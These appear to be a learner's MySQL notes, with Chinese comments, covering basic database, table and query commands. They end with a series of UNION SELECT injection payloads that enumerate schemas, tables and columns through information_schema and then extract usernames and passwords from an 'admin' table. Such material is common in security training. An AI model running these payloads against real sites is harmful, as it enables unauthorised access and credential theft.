show databases;
create database test
;
use test
;(切换到数据库test
)
create table users
( id
int(11), name
varchar(255));
desc uers
;{
describe}
insert into users
values(1,'mxq'),(2,'zstu');插入数据
select * from users
;查询全部
select * from users
order by id
desc;(降序排序
)
select *from users
limit 1offset
0;(从
0开始的第一行
)
update users
set name
='MXQ' where id
=1;(改id为
1的记录里name值为MXQ
)
delete from users
where id
=1;
union select 1,group_concat
(SCHEMA_NAME
) from information_schema
.SCHEMATA
union select 1,group_concat
(TABLE_NAME
) from information_schema
.TABLES where TABLE_SCHEMA
= 'news'
union select 1,group_concat
(COLUMN_NAME
) from information_schema
.COLUMNS where TABLE_SCHEMA
= 'news' and TABLE_NAME
='admin'
union select 1,group_concat
(username
) from news
.admin
union select 1,group_concat
(password
) from news
.admin
where username
='admin'
union select 1,group_concat
(password
) from news
.admin
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